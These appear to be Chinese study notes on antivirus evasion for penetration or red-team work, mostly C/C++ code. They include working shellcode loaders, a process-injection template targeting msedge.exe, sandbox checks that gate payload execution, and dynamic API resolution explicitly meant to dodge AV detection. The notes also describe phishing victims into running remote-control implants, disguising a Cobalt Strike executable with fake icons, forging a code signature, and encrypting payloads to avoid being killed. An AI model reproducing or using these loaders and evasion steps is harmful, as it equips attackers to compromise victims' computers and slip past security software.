一、通常网络渗透的三个步骤
1.信息采集
2.外网打点
3.内网渗透信息收集
二、WAF
即Web Application Firewall(Web应用防火墙),一种专门设计用来保护Web应用程序免受
各类攻击的安全解决方案。
三、钓鱼
无需漏洞,跳过外网打点过程,直接进入内网渗透环节。
针对人群:大众。
效果:在不知情的情况点击上线后,直接获取电脑控制权
使用工具:远控。
四、什么是shellcode?
无地址依赖的一串十六进制代码。(十六进制数,二进制数)
特点:在任何程序中都能实现效果。
五、什么是Loader?
能执行shellcode的可执行程序。
六、什么是远控?
远程操控电脑的程序。
七、外网
通常我们能通过浏览器访问到的网站或网页都是建立在外网上的
八、内网
本地与虚拟机之间通讯的网络就是内网。(外网不能够访问,只能是同一内网环境中的机器
才能相互访问)内网主机能访问外网主机,但是外网主机不能访问内网主机
九、文件映射
文件状态会遵循PE结构,PE结构(属性——内存映射,文件映射)
十、静态查杀
1.检测字符串
2.检测硬编码。十六进制字符串(恶意程序的shellcode是具备一定特征)
3.特征库的规则匹配(学习。更新,二开后,其他的一些木马提取特征)
十一、在VM虚拟机上安装Windows 10 64x
十二、MessageBox
示例代码:
#include<stdio.h>
#include<stdlib.h>
#include<Windows.h>
#include<wchar.h>
/*
* Windows.h
*/
DWORD WINAPI ThreadProc(LPVOID lpParameter)
{
MessageBox(0, 0, 0, 0);
return 0;
};
int main() {
//printf("Hello world\n"); // char 一个字节
//MessageBox(0, L"1234", L"1234", MB_HELP); // 宽字符
HANDLE thread = CreateThread(0, 0, ThreadProc, 0, 0, 0);
WaitForSingleObject(thread, -1);
//system("pause");
return 0;
}
十三、使用CreateProcessA创建进程
示例代码如下:
#include<stdio.h>
#include<Windows.h>
#include<stdlib.h>
int main() {
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
// 创建进程
if (!CreateProcessA("C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
"msedge www.baidu.com",
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi))
{
fprintf(stderr, "CreateProcess failed\n");
return -1;
}
//system("pause");s
return 0;
}
运行结果如下:
十四、更正代码(部分地方指针的用法有误)
源代码如下:
#include<windows.h>
#include<string.h>
#include<stdio.h>
#include<stdlib.h>
#pragma warning(disable:4996)
/*
要求1 单步调试 并处理所有的错误语法 最终程序运行结果是弹窗一个弹窗
要求2 对GetHostName函数进行改造 hostName改为二级指针的方式传递
要求3 对GetHostName函数进行改造 hostName作为返回值 传入方式为1级指针
*/
BOOL GetHostName(CHAR* hostName)
{
DWORD hostNameLen = sizeof(hostName);
if (!GetComputerNameA(hostName, &hostNameLen)) // GetComputerNameA是win32 的api 获取电脑hostname 第一个参数为存放hostname的内存缓冲区 第二个参数为缓冲区大小的地址
{
return FALSE;
}
return TRUE;
}
BOOL CheckIsSandbox()
{
CHAR hostName[MAX_PATH] = { 0 };
CHAR* sandboxName = "sandbox";
if(!GetHostName(hostName))
return FALSE;
if (!strstr(hostName, sandboxName)) //strstr 字符串比较函数 bool类型
{
printf("%s\n", "not in sandbox");
return TRUE;
}
return FALSE;
}
BOOL ReadPayload(char* shellcodeBuffer, PDWORD shellcodeSize)
{
FILE* file = { 0 };
WCHAR* buffer = NULL;
SIZE_T file_size = { 0 };
file = fopen(L"box.dll", "rb"); // 打开文件
if (file == NULL) {
perror("Error opening file");
return FALSE;
}
fseek(file, 0, SEEK_END); // 获取文件大小
file_size = ftell(file);
rewind(file);
buffer = (char*)calloc(file_size, 1);
if (buffer == NULL) {
perror("Memory allocation error");
fclose(file);
return FALSE;
}
fread(buffer, sizeof(char), file_size, file); // 将读取文件内容到内存拷贝到我们申请的内存中
*shellcodeBuffer = &buffer;
*shellcodeSize = &file_size;
fclose(file);// 关闭文件
return TRUE;
}
BOOL ExecShellcode(char* shellcode, DWORD shellcodeSize)
{
PVOID* shellcodeBuffer = NULL;
if (shellcodeSize == 0)
{
printf("Invalid shellCode length\n");
return FALSE;
}
shellcodeBuffer = calloc(shellcodeSize, 1);
memcpy(shellcodeBuffer, shellcode, shellcodeSize);
((void(*)())shellcodeBuffer)();
return TRUE;
}
int main()
{
if (!CheckIsSandbox())
{
return 1;
}
else
{
CHAR* shellcodeBuffer = NULL;
DWORD shellcodeSize = 0;
if(!ReadPayload(shellcodeBuffer, &shellcodeSize))
return 1;
ExecShellcode(shellcodeBuffer, shellcodeSize);
}
return 0;
}
更正后的代码如下:
#include<windows.h>
#include<string.h>
#include<stdio.h>
#include<stdlib.h>
#pragma warning(disable:4996)
/*
要求1 单步调试 并处理所有的错误语法 最终程序运行结果是弹窗一个弹窗
要求2 对GetHostName函数进行改造 hostName改为二级指针的方式传递
要求3 对GetHostName函数进行改造 hostName作为返回值 传入方式为1级指针
*/
BOOL GetHostName(CHAR* hostName)
{
DWORD hostNameLen = sizeof(hostName);
if (!GetComputerNameA(hostName, &hostNameLen)) // GetComputerNameA是win32 的api 获取电脑hostname 第一个参数为存放hostname的内存缓冲区 第二个参数为缓冲区大小的地址
{
return FALSE;
}
return TRUE;
}
BOOL CheckIsSandbox()
{
CHAR hostName[MAX_PATH] = { 0 };
CHAR* sandboxName = "sandbox";
if (!GetHostName(hostName))
return FALSE;
if (!strstr(hostName, sandboxName)) //strstr 字符串比较函数 bool类型
{
printf("%s\n", "not in sandbox");
return TRUE;
}
return FALSE;
}
BOOL ReadPayload(char** shellcodeBuffer, PDWORD shellcodeSize)
{
FILE* file = { 0 };
CHAR* buffer = NULL;
SIZE_T file_size = { 0 };
file = fopen("box.dll", "rb"); // 打开文件
if (file == NULL) {
perror("Error opening file");
return FALSE;
}
fseek(file, 0, SEEK_END); // 获取文件大小
file_size = ftell(file);
rewind(file);
buffer = (char*)calloc(file_size, 1);
if (buffer == NULL) {
perror("Memory allocation error");
fclose(file);
return FALSE;
}
fread(buffer, sizeof(char), file_size, file); // 将读取文件内容到内存拷贝到我们申请的内存中
*shellcodeBuffer = buffer;
*shellcodeSize = (DWORD)file_size;
fclose(file);// 关闭文件
return TRUE;
}
BOOL ExecShellcode(char* shellcode, DWORD shellcodeSize)
{
PVOID* shellcodeBuffer = NULL;
if (shellcodeSize == 0)
{
printf("Invalid shellCode length\n");
return FALSE;
}
//shellcodeBuffer = calloc(shellcodeSize, 1);
shellcodeBuffer = VirtualAlloc(
NULL, // System selects address
shellcodeSize, // Size of allocation
MEM_COMMIT | MEM_RESERVE, // Allocate reserved pages
PAGE_EXECUTE_READWRITE); // Protection = no access);
memcpy(shellcodeBuffer, shellcode, shellcodeSize);
((void(*)())shellcodeBuffer)();
return TRUE;
}
int main()
{
CHAR* shellcodeBuffer = NULL;
DWORD shellcodeSize = 0;
if (!ReadPayload(&shellcodeBuffer, &shellcodeSize))
{
//system("pause");
return 1;
}
ExecShellcode(shellcodeBuffer, shellcodeSize);
//system("pause");
return 0;
}
运行结果如下:
十五、杀软与特征检测
1)杀软的属性
1.指定查杀(给定对象,检测是否含有恶意代码)
2.能识别恶意代码的类型
3.宏病毒,感染型的病毒,能将病毒从宿主程序剥离。
2)杀软的引擎
1.分析模块(数据格式的识别)
2.特征库(hash值,md5值)
3.扫描核心。
3)静态查杀
1.特征码识别(hash,文件名,函数名,字符串,api)
2.云查杀(上传到云端进行检测)
3.校验和(特征码检测的一种)
4.启发式(QVM)
5.Yara规则
十六、Windows API
1 MessageBox
2 CreateThread
3 CreatePeocess
4 VirtualAlloc
十七、杀软介绍
1 杀软具备的检测手段
2 火绒
3 Windows Defender
4 360安全
5 卡巴斯基
6 ESET
7 赛门铁克
8 Top3
十八、ShellCode多种加载方式
shellcode的执行,本质就是内存执行
首先,如果要执行一段代码,那么存储代码的内存必须拥有可执行权限。
最简单的exe(数据段,代码段)
数据段的权限(可读,可写)
代码段的权限(可读,可执行)
(可读,可写,可执行)
十九、存放shellcode的内存需要X权限
1)声明数据段可执行
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] = "shellcode";
2)申请可执行内存
LPVOID exec = VirtualAlloc(NULL, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
SIZE_T size;
WriteProcessMemory(GetCurrentProcess(), exec, shellcode, sizeof shellcode, &size);
二十、指针执行
(*(int(*)()) shellcode_addr)();
(*(void(*)()) shellcode_addr)();
((void(*)(void)) & buf)();
二十一、直接指针执行
#include <Windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] = "你的shellcode";
int main()
{
((void(*)(void)) & buf)();
}
二十二、内存指针执行
#include <Windows.h>
#include <stdio.h>
int main()
{
unsigned char buf[] = "shellcode";
void* exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof buf);
((void(*)())exec)();
}
二十三、导入表
IAT INT(I Address Table)(I Name Table)
用于记录程序所使用的函数。
二十四、导出表
记录的程序提供给其他程序使用的函数
可执行程序都会有导入表和导出表exe,dll,sys,.so
双击dll不能执行,sys不能执行的。
一般情况下不会自身执行
dll(动态链接库文件)sys(驱动文件)
dll是为exe提供导出函数的文件。
exe使用dll提供的导出函数。
sys(专门的驱动加载)
dll与exe本质上完全没用区别(解析不同,使用方式不同)
dll(专门提供)(导出表会有很多函数)
exe(一般不会有导出函数)
启发式查杀(静态的,沙箱(用于检测动态),API调用链(通过导入表))
{'h','l','l'};
动态调用(隐藏导入表)
二十五、代码模板
#include <windows.h>
#include <tlhelp32.h>
#include <fstream>
#include<iostream>
using namespace std;
// 函数用于创建远程线程执行 shellcode
void createThreadTest() {
char filename[] = "C:\\Users\\莫明\\Desktop\\test\\模板\\模板\\box.dll";
// 以读模式打开文件
ifstream infile;
//以二进制方式打开
infile.open(filename, ios::out | ios::binary);
infile.seekg(0, infile.end); //追溯到流的尾部
int length = infile.tellg(); //获取流的长度
infile.seekg(0, infile.beg);//回溯到流头部
char* data = new char[length]; //存取文件内容
if (infile.is_open()) {
cout << "reading from the file" << endl;
infile.read(data, length);
}
HANDLE snapshot_handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot_handle != INVALID_HANDLE_VALUE) {
// 枚举进程
PROCESSENTRY32 process_entry;
process_entry.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(snapshot_handle, &process_entry)) {
do {
// 将进程名转换为宽字符串
std::wstring extFileName(process_entry.szExeFile);
// 如果进程名包含 "msedge.exe" 则进行以下操作
if (extFileName.find(L"msedge.exe") != std::string::npos) {
// 打开进程
HANDLE process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, process_entry.th32ProcessID);
if (process_handle != NULL) {
// 在远程进程中分配内存
LPVOID remote_buffer = VirtualAllocEx(process_handle, NULL, length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (remote_buffer != NULL) {
SIZE_T bytes_written;
// 将 code 写入远程进程内存
if (WriteProcessMemory(process_handle, remote_buffer, data, length, &bytes_written)) {
std::cout << "Remote buffer address: " << remote_buffer << std::endl;
// 在远程进程中创建线程执行 code
HANDLE remote_thread = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)remote_buffer, NULL, 0, NULL);
if (remote_thread != NULL) {
// 等待线程结束
WaitForSingleObject(remote_thread, INFINITE);
CloseHandle(remote_thread);
}
}
// 关闭远程内存句柄
CloseHandle(remote_buffer);
}
// 关闭进程句柄
CloseHandle(process_handle);
}
}
} while (Process32Next(snapshot_handle, &process_entry)); // 继续枚举下一个进程
}
// 关闭进程快照句柄
CloseHandle(snapshot_handle);
}
}
// 主函数
int main() {
// 调用函数执行创建远程线程的操作
createThreadTest();
return 0;
}
二十六、回调函数
1)、定义
回调函数是一种通过参数传递给另一个函数的函数。在某些特定条件或事件发生时,回调函数会被调用。这种机制常用于异步编程、事件驱动编程和处理长时间运行的任务。
2) 工作原理
定义回调函数:首先,您定义一个函数,这个函数将用作回调。
传递回调函数:然后,您将这个回调函数作为参数传递给另一个函数。
调用回调函数:在某个特定条件或事件发生时,这个被传递的函数会调用回调函数。
二十七、PEB和TEB
1)、PEB(Process Environment Block,进程环境块)
PEB 是一个包含关于当前进程的许多信息的数据结构。它是由 Windows 操作系统在创建进程时创建的,存储在每个进程的用户模式地址空间中。PEB 结构体包含了有关进程的各种信息,例如模块列表、环境变量、全局标志等。
2)、TEB(Thread Environment Block,线程环境块)
TEB 是一个包含关于当前线程的许多信息的数据结构。它是由 Windows 操作系统在创建线程时创建的,存储在每个线程的用户模式地址空间中。TEB 结构体包含了有关线程的各种信息,例如线程局部存储、线程 ID、异常处理信息等。
TEB 的主要内容
(1)ThreadLocalStoragePointer:指向线程局部存储(TLS)数据的指针。
(2)ProcessEnvironmentBlock:指向当前线程所属进程的 PEB 结构的指针。
(3)ThreadId:线程 ID。
(4)StackBase 和 StackLimit:线程堆栈的基址和限制。
3)、PEB 和 TEB 的用途
PEB 和 TEB 的用途
调试:调试器可以通过访问 PEB 和 TEB 获取进程和线程的详细信息。
进程注入:恶意软件和安全工具常常使用 PEB 和 TEB 结构来操纵或注入代码到目标进程中。
获取模块信息:通过 PEB 中的 Ldr 字段,可以遍历进程加载的模块列表。
环境变量和命令行参数:通过 PEB 中的 ProcessParameters 字段,可以获取进程的环境变量和命令行参数。
线程局部存储:TEB 中的 ThreadLocalStoragePointer 字段提供了对线程局部存储的访问。
二十八、参数分离
1)、定义
参数分离(Parameter Separation)是一种编程技巧和设计原则,用于将输入参数的传递和处理与逻辑功能的实现分离开来。这种方法有助于提高代码的可读性、可维护性和可重用性。
2)、优点
增强可读性:通过清晰的参数定义和传递,可以使代码更易于理解和阅读。
提高可维护性:将参数处理与核心逻辑分离,使得修改参数处理逻辑不会影响核心功能。
增加可重用性:分离的参数逻辑可以在不同的上下文中重复使用,而不必修改核心功能代码。
简化测试:参数分离使得单元测试更容易编写和维护,因为可以单独测试参数处理逻辑和核心功能。
3)、代码
(1)头文件
#pragma once
#include <windows.h>
#include <tlhelp32.h>
#include <fstream>
#include<iostream>
using namespace std;
typedef LPVOID(WINAPI* fn_VirtualAllocEx)
(
_In_ HANDLE hProcess,
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);
typedef HANDLE(WINAPI* fn_OpenProcess)
(
_In_ DWORD dwDesiredAccess,
_In_ BOOL bInheritHandle,
_In_ DWORD dwProcessId
);
typedef LPVOID (WINAPI* fn_VirtualAlloc)(
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);
typedef HANDLE (WINAPI* fn_CreateThread)(
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ SIZE_T dwStackSize,
_In_ LPTHREAD_START_ROUTINE lpStartAddress,
_In_opt_ __drv_aliasesMem LPVOID lpParameter,
_In_ DWORD dwCreationFlags,
_Out_opt_ LPDWORD lpThreadId
);
typedef DWORD (WINAPI* fn_WaitForSingleObject)(
_In_ HANDLE hHandle,
_In_ DWORD dwMilliseconds
);
(2)main函数
#include "myFunc.h"
/*
* shellcode
* 功能:上线,它就是一段代码(无地址依赖)
*
* vs上写的代码的功能就是加载shellcode
* 1)普通加载
* 申请内存
* 执行:没办法直接控制(让IP寄存器指向 shellcode 的地址)
* (1)指针执行
* (2)线程执行
* (3)回调函数执行
* 用自己写的程序执行shellcode
* 注入:让别人的程序执行我的 shellcode
* 可以通过注入来提升自己的权限
* 1)寻找程序(通过快照)
* 2)申请空间
* 3)写入代码
* 4)执行
* 钓鱼:
* 吸引别人点击(比如写一个无限刷Q币的网页,通过点击exe文件打开)然后上线
* 参数分离:(不是用来钓鱼的)写命令行工具,一个工具有很多功能
* 将注入功能与正常上线功能封装在一个exe程序里面
*
* 动态调用:目的:规避杀软API调用的检测
* 比如调用VirtualAlloc()函数就不行,不要直接写VirtualAlloc(),杀软可以检测到
* 自己写一个myVirtualAlloc();,获取VirtualAlloc()的地址来直接调用它
*/
// 字符转宽字符
wchar_t* AtoW(char** a) {
setlocale(LC_ALL, "");
// 原始的char*字符串
char* char_str = *a;
// 确定所需的wchar_t缓冲区的大小
size_t wchar_size = mbstowcs(NULL, char_str, 0) + 1;
if (wchar_size == (size_t)-1) {
perror("mbstowcs");
return 0;
}
// 分配wchar_t缓冲区
wchar_t* wchar_str = (wchar_t*)malloc(wchar_size * sizeof(wchar_t));
if (wchar_str == NULL) {
perror("malloc");
return 0;
}
// 执行转换
mbstowcs(wchar_str, char_str, wchar_size);
return wchar_str;
}
// 读取shellcode
char* ReadFile(SIZE_T* length, char* file) {
char* filename = file;
// 以读模式打开文件
ifstream infile;
//以二进制方式打开
infile.open(filename, ios::out | ios::binary);
infile.seekg(0, infile.end); //追溯到流的尾部
*length = infile.tellg(); //获取流的长度
infile.seekg(0, infile.beg);//回溯到流头部
char* data = new char[*length]; //存取文件内容
if (infile.is_open()) {
cout << "reading from the file" << endl;
infile.read(data, *length);
}
return data;
}
// 注入进程 参数是你要注入的代码,和进程的名字
void Inject(char* argv[]) {
SIZE_T length = 0;
char* data = NULL;
data = ReadFile(&length, argv[2]);
//LPVOID mem = VirtualAlloc(NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//RtlMoveMemory(mem, data, length);
//EnumChildWindows(NULL, (WNDENUMPROC)mem, NULL);
HANDLE snapshot_handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot_handle != INVALID_HANDLE_VALUE) {
// 枚举进程
PROCESSENTRY32 process_entry;
process_entry.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(snapshot_handle, &process_entry)) {
do {
// 将进程名转换为宽字符串
std::wstring extFileName(process_entry.szExeFile);
wchar_t* exename = AtoW(&argv[3]);
// 如果进程名包含 "msedge.exe" 则进行以下操作
if (extFileName.find(exename) != std::string::npos) {
// 打开进程
fn_OpenProcess myOpenProcess = (fn_OpenProcess)GetProcAddress(LoadLibraryA("kernel32.dll"), "OpenProcess");
HANDLE process_handle = myOpenProcess(PROCESS_ALL_ACCESS, FALSE, process_entry.th32ProcessID);
if (process_handle != NULL) {
// 在远程进程中分配内存
fn_VirtualAllocEx myVirtualAllocEx = (fn_VirtualAllocEx)GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualAllocEx");
LPVOID remote_buffer = myVirtualAllocEx(process_handle, NULL, length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (remote_buffer != NULL) {
SIZE_T bytes_written;
// 将 code 写入远程进程内存
if (WriteProcessMemory(process_handle, remote_buffer, data, length, &bytes_written)) {
std::cout << "Remote buffer address: " << remote_buffer << std::endl;
// 在远程进程中创建线程执行 code
HANDLE remote_thread = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)remote_buffer, NULL, 0, NULL);
if (remote_thread != NULL) {
// 等待线程结束
WaitForSingleObject(remote_thread, INFINITE);
CloseHandle(remote_thread);
}
}
// 关闭远程内存句柄
CloseHandle(remote_buffer);
}
// 关闭进程句柄
CloseHandle(process_handle);
}
}
} while (Process32Next(snapshot_handle, &process_entry)); // 继续枚举下一个进程
}
// 关闭进程快照句柄
CloseHandle(snapshot_handle);
}
}
// 正常上线
VOID Normal(char* file) {
SIZE_T length = 0;
char* data = NULL;
data = ReadFile(&length, file);
//VirtualAlloc
fn_VirtualAlloc myVirtualAlloc = (fn_VirtualAlloc)GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualAlloc");
LPVOID shell_addr = myVirtualAlloc(NULL, length, 0x00001000, 0x40);
memcpy(shell_addr, data, length);
//CreateThread();
fn_CreateThread myCreateThread = (fn_CreateThread)GetProcAddress(LoadLibraryA("kernel32.dll"), "CreateThread");
HANDLE HThread = myCreateThread(0, 0, (LPTHREAD_START_ROUTINE)shell_addr, 0, 0, 0);
fn_WaitForSingleObject myWaitForSingleObject = (fn_WaitForSingleObject)GetProcAddress(LoadLibraryA("kernel32.dll"), "WaitForSingleObject");
//WaitForSingleObject(HThread, -1);
myWaitForSingleObject(HThread, -1);
}
// 主函数
int main(int argc, char* argv[]) {
// 调用函数执行创建远程线程的操作
if (strcmp(argv[1], "-i") == 0) {
if (argc == 4) {
printf("Injected\n");
Inject(argv);
}
else
wprintf(L"注入方式: -i 路径 进程名\n");
}
if (strcmp(argv[1], "-d") == 0) {
if (argc == 3) {
printf("-d Inject\n");
Normal(argv[2]);
}
else
wprintf(L"注入方式: -i 路径\n");
};
if (strcmp(argv[1], "-h") == 0)
printf("-i Inject\n -h help\n -d normal\n");
return 0;
}
二十九、伪造图标与详细信息(仅用于学习用途)
一、使用CS生成一个.exe文件,并将文件拖到RH中,结果如下
然后,点击->“操作”->从资源文件中添加
不要选择“清单”,点击“导入”
然后点击保存
会在桌面生成这样一个exe文件
改名
双击这个文件,然后就会在CS上上线
三十、伪造签名(仅用于学习用途)
首先需要在python的环境下,执行如下操作,伪造msedge的签名
-t后面是要给哪个文件伪造签名 -i后面是要将哪个文件的签名伪造给别人
然后会在桌面生成一个以signed结尾的文件
他的伪造签名如下
三十一、加密(仅用于学习用途)
使用的方法如下
i 后面是要加密的文件 -o 后面是加密之后的文件
加密之后一般不会被电脑管家直接杀掉